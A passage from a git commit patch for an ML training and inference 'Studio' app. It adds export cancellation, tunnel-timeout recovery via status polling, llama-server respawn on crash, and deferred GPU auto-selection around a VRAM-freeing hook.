response (the same approach that fixed log streaming):

- The orchestrator records each finished op's outcome (status / output_path /
  error) with a monotonic seq, exposed on GET /api/export/status.
- parseJson now preserves the HTTP status; a 524/520/522/523/502/503 or a
  status-less network drop is classified as a recoverable transport error.
- runExport wraps each phase (load, every export method, each GGUF quant): on a
  recoverable failure it keeps the run alive (logs keep streaming, the panel
  shows "reconnecting...") and polls status until the still-running op finishes,
  then settles from the recorded result, recovering the output path for the
  success banner. A real 4xx still fails immediately; localhost still uses the
  fast POST response. applyBackendStatus also settles a reloaded run from the
  last-op record.

Verified over the tunnel: a 3m14s gemma-4-E4B-it GGUF export now ends on the
success banner with the output path instead of 524.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: keep the export method + logs visible after navigating away mid-export

While an export was running, navigating to another tab and back to Export
remounted the page and reset the local form state (exportMethod, quant levels),
so the method card showed unselected and the run panel's log area was hidden
until the card was re-clicked. The run itself lives in the global store and was
unaffected.

Seed exportMethod / quantLevels from the active run's summary via lazy useState
initializers on (re)mount, and gate the panel's log area on the live run
(isExporting / logLines / the run's method) rather than only the local form
selection. The card stays selected and the logs/progress stay visible across
navigation; nothing changes when no run is active.

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>

* Studio: address export/training review findings

- Export: guard Start against an empty GGUF quant selection so an inline-panel
  run with no quant can't settle as success with no file produced.
- Export: thread the source HF token into the background load so gated/private
  HF source exports (and gated bases) authenticate, matching the consent path.
- Export: only settle a recovered (non-owned) run as a finished export when the
  last backend op was an export, not a standalone load_checkpoint.
- Training: free the export subprocess whenever an export is active, not only
  once a checkpoint is loaded, so an in-flight export load can't race training
  for VRAM (current_checkpoint is unset during the load phase).

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
---
 studio/backend/core/export/orchestrator.py    | 108 ++-
 studio/backend/core/inference/llama_cpp.py    |  68 +-
 studio/backend/core/training/training.py      |  67 +-
 .../hub/services/models/local_inventory.py    |  21 +-
 studio/backend/hub/utils/hf_cache_state.py    |  14 +-
 studio/backend/models/export.py               |  31 +
 studio/backend/models/inference.py            |   5 +
 studio/backend/routes/export.py               | 129 +++-
 studio/backend/routes/inference.py            | 302 ++++++--
 studio/backend/routes/training.py             |  92 ++-
 studio/backend/routes/training_vram.py        | 342 +++++++++
 .../tests/test_chat_load_during_training.py   | 685 +++++++++++++++++
 studio/backend/tests/test_gpu_selection.py    |   8 +-
 .../tests/test_training_before_spawn.py       | 163 ++++
 .../tests/test_training_vram_coexistence.py   | 442 +++++++++++
 studio/frontend/src/app/routes/__root.tsx     | 110 ++-
 studio/frontend/src/app/routes/chat.tsx       |  20 +-
 .../frontend/src/components/app-sidebar.tsx   |  68 +-
 .../src/features/chat/api/chat-adapter.ts     |   7 +
 .../src/features/chat/api/chat-api.ts         |   4 +
 .../frontend/src/features/chat/chat-page.tsx  | 120 ++-
 .../chat/components/project-switcher.tsx      |   9 +-
 .../chat/hooks/use-chat-model-runtime.ts      |  17 +-
 studio/frontend/src/features/chat/index.ts    |   2 +-
 .../src/features/chat/runtime-provider.tsx    |  14 +
 studio/frontend/src/features/export/anim.ts   |   9 -
 .../src/features/export/api/export-api.ts     | 102 ++-
 .../export/components/export-dialog.tsx       | 694 ------------------
 .../export/components/export-run-panel.tsx    | 572 +++++++++++++++
 .../export/components/method-picker.tsx       |   4 +-
 .../export/components/quant-picker.tsx        |   2 +-
 .../src/features/export/export-page.tsx       | 412 ++++++-----
 .../hooks/use-export-runtime-lifecycle.ts     | 204 +++++
 studio/frontend/src/features/export/index.ts  |  18 +-
 .../export/stores/export-runtime-store.ts     | 566 ++++++++++++++
 .../hooks/use-training-completion-watch.ts    |  45 ++
 .../frontend/src/features/training/index.ts   |   1 +
 studio/frontend/src/i18n/locales/en.ts        |   1 +
 studio/frontend/src/i18n/locales/zh-CN.ts     |   1 +
 39 files changed, 4339 insertions(+), 1140 deletions(-)
 create mode 100644 studio/backend/routes/training_vram.py
 create mode 100644 studio/backend/tests/test_chat_load_during_training.py
 create mode 100644 studio/backend/tests/test_training_before_spawn.py
 create mode 100644 studio/backend/tests/test_training_vram_coexistence.py
 delete mode 100644 studio/frontend/src/features/export/anim.ts
 delete mode 100644 studio/frontend/src/features/export/components/export-dialog.tsx
 create mode 100644 studio/frontend/src/features/export/components/export-run-panel.tsx
 create mode 100644 studio/frontend/src/features/export/hooks/use-export-runtime-lifecycle.ts
 create mode 100644 studio/frontend/src/features/export/stores/export-runtime-store.ts
 create mode 100644 studio/frontend/src/features/training/hooks/use-training-completion-watch.ts

diff --git a/studio/backend/core/export/orchestrator.py b/studio/backend/core/export/orchestrator.py
index a9694bb8e9..636fe1a759 100644
--- a/studio/backend/core/export/orchestrator.py
+++ b/studio/backend/core/export/orchestrator.py
@@ -63,6 +63,19 @@ class ExportOrchestrator:
         self._run_start_seq: int = 0
         # True while an export op runs; SSE ends the stream 1s after this flips False.
         self._export_active: bool = False
+        # Set by cancel_export(); reset when a new load/export run starts. Lets the
+        # caller distinguish a user cancel from a genuine subprocess crash.
+        self._cancel_requested: bool = False
+
+        # Last finished operation, so a client whose blocking POST was cut off by a
+        # Cloudflare tunnel timeout (524 at ~100s, while the op runs for minutes) can
+        # poll /api/export/status and still learn the real outcome. Guarded by
+        # _op_lock. `_op_seq` is a monotonic counter the client uses as a baseline to
+        # tell "my op finished" (seq grew) from a stale previous result.
+        self._op_lock = threading.Lock()
+        self._op_seq: int = 0
+        self._active_op_kind: Optional[str] = None
+        self._last_op: Optional[Dict[str, Any]] = None
 
         atexit.register(self._cleanup)
         logger.info("ExportOrchestrator initialized (subprocess mode)")
@@ -119,6 +132,72 @@ class ExportOrchestrator:
         """True while an export / load / cleanup command is running."""
         return self._export_active
 
+    def was_cancelled(self) -> bool:
+        """True if the in-flight (or most recent) run was cancelled by the user."""
+        return self._cancel_requested
+
+    def _record_op_finished(self, success: bool, message: str, output_path: Optional[str]) -> None:
+        """Snapshot the just-finished op so status pollers can recover its outcome.
+
+        Called from each op's ``finally`` (with ``_active_op_kind`` still set) BEFORE
+        ``_export_active`` is cleared, so a status read that observes the op as
+        inactive is guaranteed to also see this matching result.
+        """
+        with self._op_lock:
+            self._op_seq += 1
+            status = "cancelled" if self._cancel_requested else ("success" if success else "error")
+            self._last_op = {
+                "seq": self._op_seq,
+                "kind": self._active_op_kind,
+                "status": status,
+                "output_path": output_path if success else None,
+                "error": None if success else (message or None),
+            }
+
+    def get_last_op(self) -> Optional[Dict[str, Any]]:
+        """Return the last finished op record (or None), for status recovery."""
+        with self._op_lock:
+            return dict(self._last_op) if self._last_op is not None else None
+
+    def get_active_op_kind(self) -> Optional[str]:
+        """Return the kind of the currently running op (or None when idle)."""
+        return self._active_op_kind
+
+    def cancel_export(self) -> bool:
+        """Terminate the in-flight export subprocess immediately.
+
+        An export op holds ``self._lock`` for its whole duration (blocked in
+        ``_wait_response``), so we deliberately do NOT take the lock here -- we
+        kill the worker process directly, which unblocks that wait and makes the
+        in-flight op return a failure the caller surfaces as "cancelled".
+
+        Only the export subprocess is touched; training and inference run in
+        their own subprocesses and are left untouched.
+
+        Returns True if a live subprocess was terminated, False if none ran.
+        """
+        self._cancel_requested = True
+        proc = self._proc
+        if proc is None or not proc.is_alive():
+            return False
+        logger.info(
+            "Export cancel requested: terminating export subprocess (pid=%s)",
+            proc.pid,
+        )
+        try:
+            proc.terminate()
+            proc.join(timeout = 5)
+        except Exception:
+            pass
+        if proc.is_alive():
+            logger.warning("Export subprocess survived terminate, killing")
+            try:
+                proc.kill()
+                proc.join(timeout = 3)
+            except Exception:
+                pass
+        return True
+
     # ------------------------------------------------------------------
     # Subprocess lifecycle
     # ------------------------------------------------------------------
@@ -323,7 +402,10 @@ class ExportOrchestrator:
         with self._lock:
             # Fresh log buffer so the UI sees only this run's output.
             self.clear_logs()
+            self._cancel_requested = False
+            self._active_op_kind = "load_checkpoint"
             self._export_active = True
+            op_success, op_message = False, ""
             try:
                 # Always kill any existing subprocess and spawn fresh.
                 if self._ensure_subprocess_alive():
@@ -341,6 +423,7 @@ class ExportOrchestrator:
                     self.current_checkpoint = None
                     self.is_vision = False
                     self.is_peft = False
+                    op_success, op_message = False, str(exc)
                     return False, str(exc)
 
                 if resp.get("success"):
@@ -348,15 +431,19 @@ class ExportOrchestrator:
                     self.is_vision = resp.get("is_vision", False)
                     self.is_peft = resp.get("is_peft", False)
                     logger.info("Checkpoint '%s' loaded in subprocess", checkpoint_path)
-                    return True, resp.get("message", "Loaded successfully")
+                    op_success, op_message = True, resp.get("message", "Loaded successfully")
+                    return True, op_message
                 else:
                     error = resp.get("message", "Failed to load checkpoint")
                     logger.error("Failed to load checkpoint: %s", error)
                     self.current_checkpoint = None
                     self.is_vision = False
                     self.is_peft = False
+                    op_success, op_message = False, error
                     return False, error
             finally:
+                self._record_op_finished(op_success, op_message, None)
+                self._active_op_kind = None
                 self._export_active = False
 
     def export_merged_model(
@@ -458,7 +545,10 @@ class ExportOrchestrator:
                 )
 
             self.clear_logs()
+            self._cancel_requested = False
+            self._active_op_kind = f"export_{export_type}"
             self._export_active = True
+            op_success, op_message, op_output_path = False, "", None
             try:
                 cmd = {"type": "export", "export_type": export_type, **params}
                 try:
@@ -467,14 +557,16 @@ class ExportOrchestrator:
                         f"export_{export_type}_done",
                         timeout = 3600,  # GGUF for 30B+ models can take 30+ min
                     )
-                    return (
-                        resp.get("success", False),
-                        resp.get("message", ""),
-                        resp.get("output_path"),
-                    )
+                    op_success = resp.get("success", False)
+                    op_message = resp.get("message", "")
+                    op_output_path = resp.get("output_path")
+                    return op_success, op_message, op_output_path
                 except RuntimeError as exc:
+                    op_success, op_message = False, str(exc)
                     return False, str(exc), None
             finally:
+                self._record_op_finished(op_success, op_message, op_output_path)
+                self._active_op_kind = None
                 self._export_active = False
 
     def cleanup_memory(self) -> bool:
@@ -486,7 +578,9 @@ class ExportOrchestrator:
                 self.is_peft = False
                 return True
 
+            self._active_op_kind = "cleanup"
             self._export_active = True
+            success = False
             try:
                 try:
                     self._send_cmd({"type": "cleanup"})
@@ -503,6 +597,8 @@ class ExportOrchestrator:
                 self.is_peft = False
                 return success
             finally:
+                self._record_op_finished(success, "", None)
+                self._active_op_kind = None
                 self._export_active = False
 
     def scan_checkpoints(self, outputs_dir: str = str(outputs_root())) -> List[Tuple[str, list]]:
diff --git a/studio/backend/core/inference/llama_cpp.py b/studio/backend/core/inference/llama_cpp.py
index 197ecf1a9f..16a401d115 100644
--- a/studio/backend/core/inference/llama_cpp.py
+++ b/studio/backend/core/inference/llama_cpp.py
@@ -1230,6 +1230,9 @@ class LlamaCppBackend:
         # coexist as two llama-server processes (#5401). RLock so MTP-crash
         # recovery can re-acquire it for its nested load_model.
         self._serial_load_lock = threading.RLock()
+        # Serialises mid-session respawns so many generations hitting a killed
+        # server trigger at most one reload (see _respawn_if_dead).
+        self._respawn_lock = threading.Lock()
         # Set by the in-app updater while it swaps prebuilt binaries; load_model()
         # rejects fast so no server starts from a half-swapped binary.
         self._llama_update_in_progress = False
@@ -7058,6 +7061,38 @@ class LlamaCppBackend:
         finally:
             _cancel_closed.set()
 
+    def _respawn_if_dead(self) -> bool:
+        """Relaunch the llama-server if its process has exited.
+
+        A loaded chat model can be SIGKILL'd mid-session (usually GPU/RAM pressure
+        from a training run on the same box), leaving a defunct process while
+        ``is_loaded`` still reads True. Replay the last ``load_model`` call to
+        recover, returning True once healthy. Serialised on ``_respawn_lock`` so
+        many generations hitting the dead server trigger at most one reload.
+        """
+        with self._respawn_lock:
+            proc = self._process
+            if proc is None:
+                return False
+            if proc.poll() is None:
+                # Process is alive: either a concurrent caller already respawned
+                # it (healthy), or this connection error wasn't a dead server.
+                return self._healthy
+            kwargs = self._last_load_kwargs
+            if not kwargs:
+                return False
+            logger.warning(
+                f"llama-server for '{self._model_identifier}' exited "
+                f"(code {proc.returncode}); respawning to recover the session"
+            )
+            with self._lock:
+                self._healthy = False
+            try:
+                return bool(self.load_model(**kwargs))
+            except Exception as exc:
+                logger.error(f"Failed to respawn llama-server: {exc}")
+                return False
+
     def generate_chat_completion(
         self,
         messages: list[dict],
@@ -7075,6 +7110,7 @@ class LlamaCppBackend:
         reasoning_effort: Optional[str] = None,
         preserve_thinking: Optional[bool] = None,
         seed: Optional[int] = None,
+        _allow_respawn_retry: bool = True,
     ) -> Generator[Union[str, dict], None, None]:
         """
         Send a chat completion to llama-server and stream tokens back.
@@ -7241,8 +7277,36 @@ class LlamaCppBackend:
                         }
 
         except httpx.ConnectError as e:
-            # Server already down (e.g. crashed on a prior request): recover MTP.
-            self._maybe_recover_from_mtp_crash(e)
+            # Server already down. If this was an MTP+tensor crash, recover by
+            # reloading without MTP (scheduled in the background) and fail this
+            # request. Otherwise the server was likely SIGKILL'd by GPU pressure
+            # from a concurrent training run: respawn the same config and retry the
+            # generation once (bounded by the private flag, no duplicate output).
+            if self._maybe_recover_from_mtp_crash(e):
+                raise RuntimeError("Lost connection to llama-server")
+            if _allow_respawn_retry and not cumulative and self._respawn_if_dead():
+                logger.warning(
+                    "llama-server was unreachable; respawned it and retrying the generation"
+                )
+                yield from self.generate_chat_completion(
+                    messages,
+                    image_b64 = image_b64,
+                    temperature = temperature,
+                    top_p = top_p,
+                    top_k = top_k,
+                    min_p = min_p,
+                    max_tokens = max_tokens,
+                    repetition_penalty = repetition_penalty,
+                    presence_penalty = presence_penalty,
+                    stop = stop,
+                    cancel_event = cancel_event,
+                    enable_thinking = enable_thinking,
+                    reasoning_effort = reasoning_effort,
+                    preserve_thinking = preserve_thinking,
+                    seed = seed,
+                    _allow_respawn_retry = False,
+                )
+                return
             raise RuntimeError("Lost connection to llama-server")
         except Exception as e:
             if cancel_event is not None and cancel_event.is_set():
diff --git a/studio/backend/core/training/training.py b/studio/backend/core/training/training.py
index 73744466b6..5a1f40d82f 100644
--- a/studio/backend/core/training/training.py
+++ b/studio/backend/core/training/training.py
@@ -229,11 +229,24 @@ class TrainingBackend:
     # Public API (called by routes/training.py)
     # ------------------------------------------------------------------
 
-    def start_training(self, job_id: str, **kwargs) -> bool:
+    def start_training(
+        self,
+        job_id: str,
+        *,
+        before_spawn = None,
+        **kwargs,
+    ) -> bool:
         """Spawn a subprocess to run the full training pipeline.
 
         All kwargs are serialized into a config dict and sent to the worker.
         Returns True if the subprocess started successfully.
+
+        ``before_spawn`` is an optional no-arg callable run after synchronous
+        validation (start guards, config build, explicit gpu_ids) passes but
+        before VRAM-dependent auto GPU-selection and the spawn -- used to free
+        VRAM (e.g. unload chat) without tearing it down on a refused start, while
+        still letting auto-selection place training against the freed memory.
+        Hook failures never block the start.
         """
         with self._lock:
             if self._proc is not None and self._proc.is_alive():
@@ -326,26 +339,50 @@ class TrainingBackend:
         if config["training_type"] == "Full Finetuning":
             config["load_in_4bit"] = False
 
-        # Spawn into locals so state is untouched on failure.
+        # Split GPU validation from placement around the VRAM hook:
+        #   * Explicit gpu_ids are validated here (raises -> the route returns 400
+        #     before any teardown) and their placement is VRAM-independent, so it
+        #     stays correct after the hook frees memory.
+        #   * Auto-selection ranks GPUs by *free* VRAM, so it is deferred until
+        #     after the hook frees export/chat -- otherwise it could pin training
+        #     onto a GPU the hook is about to clear (and onto a kept chat model).
         from utils.hardware import hardware as _hw
 
+        gpu_ids = kwargs.get("gpu_ids")
+        gpu_selection_kwargs = dict(
+            model_name = config["model_name"],
+            hf_token = config["hf_token"] or None,
+            training_type = config["training_type"],
+            load_in_4bit = config["load_in_4bit"],
+            batch_size = config.get("batch_size", 4),
+            max_seq_length = config.get("max_seq_length", 2048),
+            lora_rank = config.get("lora_r", 16),
+            target_modules = config.get("target_modules"),
+            gradient_checkpointing = config.get("gradient_checkpointing", "unsloth"),
+            optimizer = config.get("optim", "adamw_8bit"),
+        )
+
+        defer_auto_selection = False
         if _hw.DEVICE == _hw.DeviceType.MLX:
             config["resolved_gpu_ids"] = None
             config["gpu_selection"] = None
+        elif gpu_ids:
+            resolved_gpu_ids, gpu_selection = prepare_gpu_selection(gpu_ids, **gpu_selection_kwargs)
+            config["resolved_gpu_ids"] = resolved_gpu_ids
+            config["gpu_selection"] = gpu_selection
         else:
-            resolved_gpu_ids, gpu_selection = prepare_gpu_selection(
-                kwargs.get("gpu_ids"),
-                model_name = config["model_name"],
-                hf_token = config["hf_token"] or None,
-                training_type = config["training_type"],
-                load_in_4bit = config["load_in_4bit"],
-                batch_size = config.get("batch_size", 4),
-                max_seq_length = config.get("max_seq_length", 2048),
-                lora_rank = config.get("lora_r", 16),
-                target_modules = config.get("target_modules"),
-                gradient_checkpointing = config.get("gradient_checkpointing", "unsloth"),
-                optimizer = config.get("optim", "adamw_8bit"),
-            )
+            defer_auto_selection = True
+
+        # Synchronous validation passed -> free VRAM (export + chat) now, before
+        # auto-selection and the spawn, so placement sees the freed memory.
+        if before_spawn is not None:
+            try:
+                before_spawn()
+            except Exception:
+                logger.warning("before_spawn hook failed; continuing", exc_info = True)
+
+        if defer_auto_selection:
+            resolved_gpu_ids, gpu_selection = prepare_gpu_selection(None, **gpu_selection_kwargs)
             config["resolved_gpu_ids"] = resolved_gpu_ids
             config["gpu_selection"] = gpu_selection
 
diff --git a/studio/backend/hub/services/models/local_inventory.py b/studio/backend/hub/services/models/local_inventory.py
index 6e6a28b919..94e0913ac9 100644
--- a/studio/backend/hub/services/models/local_inventory.py
+++ b/studio/backend/hub/services/models/local_inventory.py
@@ -177,6 +177,17 @@ def _scan_models_dir(
     return found
 
 
+def _safe_is_dir(path: Path) -> bool:
+    """``Path.is_dir()`` treating an unreadable path (``PermissionError`` /
+    ``OSError`` on a restricted ``~/.cache/huggingface/hub``) as "not a
+    directory", so the inventory skips that source instead of 500ing the Hub page.
+    """
+    try:
+        return path.is_dir()
+    except OSError:
+        return False
+
+
 def _hf_repo_dir_has_content(repo_dir: Path) -> bool:
     blobs_dir = repo_dir / "blobs"
     if not blobs_dir.is_dir():
@@ -191,7 +202,7 @@ def _hf_repo_dir_has_content(repo_dir: Path) -> bool:
 
 
 def _scan_hf_cache(cache_dir: Path, *, entry_limit: int | None = None) -> List[LocalModelInfo]:
-    if not cache_dir.exists() or not cache_dir.is_dir():
+    if not _safe_is_dir(cache_dir):
         return []
 
     discovered: List[tuple[Path, str, Optional[float]]] = []
@@ -502,11 +513,11 @@ async def _collect_models_from_default_sources(
     local_models = await _scan_source("models directory", _scan_models_dir, models_root)
     local_models += await _scan_source("HF cache", _scan_hf_cache, hf_cache_dir)
 
-    if legacy_hf.is_dir() and legacy_hf.resolve() != hf_cache_dir.resolve():
+    if _safe_is_dir(legacy_hf) and legacy_hf.resolve() != hf_cache_dir.resolve():
         local_models += await _scan_source("legacy HF cache", _scan_hf_cache, legacy_hf)
 
     if (
-        hf_default.is_dir()
+        _safe_is_dir(hf_default)
         and hf_default.resolve() != hf_cache_dir.resolve()
         and hf_default.resolve() != legacy_hf.resolve()
     ):
@@ -621,9 +632,9 @@ async def list_local_models_response(models_dir: str = "./models") -> LocalModel
     ollama_dirs = ollama_model_dirs()
 
     allowed_roots: list[Path] = [Path("./models").resolve(), hf_cache_dir]
-    if legacy_hf.is_dir():
+    if _safe_is_dir(legacy_hf):
         allowed_roots.append(legacy_hf)
-    if hf_default.is_dir():
+    if _safe_is_dir(hf_default):
         allowed_roots.append(hf_default)
     allowed_roots.extend([studio_root(), outputs_root()])
 
diff --git a/studio/backend/hub/utils/hf_cache_state.py b/studio/backend/hub/utils/hf_cache_state.py
index a1ac372abb..22c948b683 100644
--- a/studio/backend/hub/utils/hf_cache_state.py
+++ b/studio/backend/hub/utils/hf_cache_state.py
@@ -19,6 +19,16 @@ TRANSPORT_MARKER_NAME = ".transport"
 INCOMPLETE_SUFFIX = ".incomplete"
 
 
+def _safe_is_dir(path: Path) -> bool:
+    """``Path.is_dir()`` returning False instead of raising when the path or a
+    parent is unreadable (e.g. a restricted ``~/.cache/huggingface/hub``), so
+    cache enumeration skips that root rather than 500ing."""
+    try:
+        return path.is_dir()
+    except OSError:
+        return False
+
+
 def hf_cache_root(*, create: bool = False) -> Optional[Path]:
     try:
         from huggingface_hub import constants as hf_constants
@@ -31,7 +41,7 @@ def hf_cache_root(*, create: bool = False) -> Optional[Path]:
         except OSError:
             return None
         return root
-    return root if root.is_dir() else None
+    return root if _safe_is_dir(root) else None
 
 
 def hf_cache_roots() -> list[Path]:
@@ -41,7 +51,7 @@ def hf_cache_roots() -> list[Path]:
     seen: set[str] = set()
 
     def _add(path: Optional[Path]) -> None:
-        if path is None or not path.is_dir():
+        if path is None or not _safe_is_dir(path):
             return
         try:
             key = str(path.resolve())
diff --git a/studio/backend/models/export.py b/studio/backend/models/export.py
index 6237197072..1e8e3c4792 100644
--- a/studio/backend/models/export.py
+++ b/studio/backend/models/export.py
@@ -76,6 +76,37 @@ class ExportStatusResponse(BaseModel):
         False,
         description = "True if the loaded checkpoint is a PEFT (LoRA) model",
     )
+    is_export_active: bool = Field(
+        False,
+        description = "True while a load / export / cleanup operation is running",
+    )
+    # Recovery fields: when a blocking export POST is cut off by a Cloudflare tunnel
+    # timeout (524 at ~100s), the client polls this endpoint to learn the real
+    # outcome of the operation that kept running on the backend.
+    active_op_kind: Optional[str] = Field(
+        None,
+        description = "Kind of the currently running op (load_checkpoint / export_* / cleanup)",
+    )
+    last_op_seq: int = Field(
+        0,
+        description = "Monotonic counter of finished ops; client baseline to detect 'my op finished'",
+    )
+    last_op_kind: Optional[str] = Field(
+        None,
+        description = "Kind of the most recently finished op",
+    )
+    last_op_status: Optional[str] = Field(
+        None,
+        description = "Outcome of the most recently finished op: success / error / cancelled",
+    )
+    last_op_output_path: Optional[str] = Field(
+        None,
+        description = "Output path of the most recently finished op, if it produced one",
+    )
+    last_op_error: Optional[str] = Field(
+        None,
+        description = "Error message of the most recently finished op, if it failed",
+    )
 
 
 class ExportOperationResponse(BaseModel):
diff --git a/studio/backend/models/inference.py b/studio/backend/models/inference.py
index 88799604e0..3c6ccd70a8 100644
--- a/studio/backend/models/inference.py
+++ b/studio/backend/models/inference.py
@@ -129,6 +129,11 @@ class ValidateModelRequest(BaseModel):
     gguf_variant: Optional[str] = Field(
         None, description = "GGUF quantization variant (e.g. 'Q4_K_M')"
     )
+    # Intended load settings so validate's coexistence check matches the follow-up
+    # /load; defaults preserve old behavior for callers that omit them.
+    max_seq_length: int = Field(0, ge = 0, le = 1048576)
+    load_in_4bit: bool = Field(True)
+    gpu_ids: Optional[List[int]] = Field(None)
     include_context_length: bool = Field(
         False,
         description = "Also read the native context length from the local GGUF header. "
diff --git a/studio/backend/routes/export.py b/studio/backend/routes/export.py
index 1b71cf5f57..122f530013 100644
--- a/studio/backend/routes/export.py
+++ b/studio/backend/routes/export.py
@@ -50,40 +50,14 @@ logger = get_logger(__name__)
 async def load_checkpoint(
     request: LoadCheckpointRequest, current_subject: str = Depends(get_current_subject)
 ):
-    """Load a checkpoint into the export backend (ExportBackend.load_checkpoint)."""
+    """Load a checkpoint into the export backend (ExportBackend.load_checkpoint).
+
+    Export runs in its own subprocess and is allowed to run in parallel with
+    training and inference. We deliberately do NOT stop training or unload the
+    chat model here -- if the GPU runs out of memory the load/export fails with
+    a clear error instead of tearing down the user's other running workloads.
+    """
     try:
-        # Free GPU memory: shut down running inference/training subprocesses
-        # before loading the export checkpoint (they'd compete for VRAM).
-        try:
-            from core.inference import get_inference_backend
-            inf = get_inference_backend()
-            if inf.active_model_name:
-                logger.info(
-                    "Unloading inference model '%s' to free GPU memory for export",
-                    inf.active_model_name,
-                )
-                inf._shutdown_subprocess()
-                inf.active_model_name = None
-                inf.models.clear()
-        except Exception as e:
-            logger.warning("Could not unload inference model: %s", e)
-
-        try:
-            from core.training import get_training_backend
-            trn = get_training_backend()
-            if trn.is_training_active():
-                logger.info("Stopping active training to free GPU memory for export")
-                trn.stop_training()
-                # Wait for the training subprocess to exit, else it may still hold GPU memory.
-                for _ in range(60):  # up to 30s
-                    if not trn.is_training_active():
-                        break
-                    await asyncio.sleep(0.5)
-                else:
-                    logger.warning("Training subprocess did not exit within 30s, proceeding anyway")
-        except Exception as e:
-            logger.warning("Could not stop training: %s", e)
-
         backend = get_export_backend()
         # Run in a worker thread (spawns and waits on a subprocess, can take
         # minutes) so the event loop stays free to serve the live log SSE stream.
@@ -138,15 +112,51 @@ async def cleanup_export_memory(current_subject: str = Depends(get_current_subje
         )
 
 
+@router.post("/cancel", response_model = ExportOperationResponse)
+async def cancel_export(current_subject: str = Depends(get_current_subject)):
+    """Cancel the in-flight export by terminating its worker subprocess.
+
+    Only the export subprocess is killed; training and inference run in their
+    own subprocesses and keep going.
+    """
+    try:
+        backend = get_export_backend()
+        cancelled = await asyncio.to_thread(backend.cancel_export)
+        return ExportOperationResponse(
+            success = True,
+            message = "Export cancelled" if cancelled else "No active export to cancel",
+        )
+    except Exception as e:
+        logger.error(f"Error cancelling export: {e}", exc_info = True)
+        raise HTTPException(
+            status_code = 500,
+            detail = "Failed to cancel export",
+        )
+
+
 @router.get("/status", response_model = ExportStatusResponse)
 async def get_export_status(current_subject: str = Depends(get_current_subject)):
     """Get export backend status (loaded checkpoint, model type, PEFT flag)."""
     try:
         backend = get_export_backend()
+        last_op = backend.get_last_op()
+        # Relativise the recovered output path the same way the per-op POST response
+        # does, so the success banner shows an identical path on either route.
+        last_op_output_path = None
+        if last_op and last_op.get("output_path"):
+            details = _export_details(last_op["output_path"])
+            last_op_output_path = (details or {}).get("output_path")
         return ExportStatusResponse(
             current_checkpoint = backend.current_checkpoint,
             is_vision = bool(getattr(backend, "is_vision", False)),
             is_peft = bool(getattr(backend, "is_peft", False)),
+            is_export_active = bool(backend.is_export_active()),
+            active_op_kind = backend.get_active_op_kind(),
+            last_op_seq = int(last_op["seq"]) if last_op else 0,
+            last_op_kind = last_op.get("kind") if last_op else None,
+            last_op_status = last_op.get("status") if last_op else None,
+            last_op_output_path = last_op_output_path,
+            last_op_error = last_op.get("error") if last_op else None,
         )
     except Exception as e:
         logger.error(f"Error getting export status: {e}", exc_info = True)
@@ -156,6 +166,59 @@ async def get_export_status(current_subject: str = Depends(get_current_subject))
         )
 
 
+@router.get("/logs")
+async def get_export_logs(
+    since: Optional[int] = Query(
+        None,
+        description = "Return log entries with seq strictly greater than this cursor.",
+    ),
+    current_subject: str = Depends(get_current_subject),
+):
+    """Tunnel-safe JSON fallback for the live export log stream.
+
+    The SSE endpoint (`/logs/stream`) is the low-latency path, but some reverse
+    proxies -- notably Cloudflare quick tunnels (`*.trycloudflare.com`) used by
+    `--secure` mode -- buffer `text/event-stream` responses and only flush when
+    the stream closes, so over the tunnel the browser sees nothing for the whole
+    export ("connecting..." with no logs). This endpoint returns the same
+    ring-buffer lines as a short, complete JSON response that no proxy buffers,
+    so the frontend can poll it and still show logs in near real time.
+
+    Shares the orchestrator's monotonic `seq` cursor with the SSE stream, so the
+    two transports can run together and the client de-dupes by seq.
+    """
+    try:
+        backend = get_export_backend()
+        # No cursor on the first poll of a run: start from the run-start snapshot
+        # so the client gets every line since the run began (matches the SSE
+        # default), not the entire historical ring buffer.
+        if since is None:
+            cursor = backend.get_run_start_seq()
+        else:
+            cursor = max(0, int(since))
+
+        entries, new_cursor = backend.get_logs_since(cursor)
+        return {
+            "entries": [
+                {
+                    "seq": int(entry.get("seq", 0)),
+                    "stream": entry.get("stream", "stdout"),
+                    "line": entry.get("line", ""),
+                    "ts": entry.get("ts"),
+                }
+                for entry in entries
+            ],
+            "cursor": new_cursor,
+            "active": bool(backend.is_export_active()),
+        }
+    except Exception as e:
+        logger.error(f"Error getting export logs: {e}", exc_info = True)
+        raise HTTPException(
+            status_code = 500,
+            detail = "Failed to get export logs",
+        )
+
+
 def _try_register_external_export(path: Path) -> tuple[bool, Optional[str]]:
     """Best-effort registration so absolute exports show up in local scans."""
     try:
diff --git a/studio/backend/routes/inference.py b/studio/backend/routes/inference.py
index 52540a5a72..b4a098eaf4 100644
--- a/studio/backend/routes/inference.py
+++ b/studio/backend/routes/inference.py
@@ -12,7 +12,7 @@ import uuid
 from pathlib import Path
 from fastapi import APIRouter, Depends, HTTPException, Request, status
 from fastapi.responses import StreamingResponse, JSONResponse, Response
-from typing import Any, Optional, Union
+from typing import Any, List, Optional, Union
 import json
 import httpx
 import structlog
@@ -1923,6 +1923,203 @@ def get_llama_cpp_backend() -> LlamaCppBackend:
     return _llama_cpp_backend
 
 
+def _effective_load_in_4bit(config: ModelConfig, requested: bool) -> bool:
+    """Effective quantization the loader will use: a LoRA adapter can flip 4-bit to
+    16-bit via adapter_config.json, so the guard sizes this, not the raw request."""
+    load_in_4bit = requested
+    if not getattr(config, "is_lora", False) or not getattr(config, "path", None):
+        return load_in_4bit
+    adapter_cfg_path = Path(config.path) / "adapter_config.json"
+    if not adapter_cfg_path.exists():
+        return load_in_4bit
+    try:
+        with open(adapter_cfg_path) as f:
+            adapter_cfg = json.load(f)
+        if not isinstance(adapter_cfg, dict):  # malformed -> keep requested
+            return load_in_4bit
+    except Exception as e:
+        logger.warning(f"Could not read adapter_config.json: {e}")
+        return load_in_4bit
+    training_method = adapter_cfg.get("unsloth_training_method")
+    if training_method == "lora":
+        return False
+    if training_method == "qlora":
+        return True
+    if not training_method and config.base_model and "-bnb-4bit" not in config.base_model.lower():
+        return False
+    return load_in_4bit
+
+
+def _remote_gguf_companion_bytes(
+    repo: str, *, hf_token: Optional[str], include_mmproj: bool
+) -> int:
+    """Bytes of MTP/mmproj companion GGUFs llama-server auto-downloads. 0 on error,
+    so it can only add headroom, never refuse a load by itself."""
+    try:
+        from huggingface_hub import model_info
+
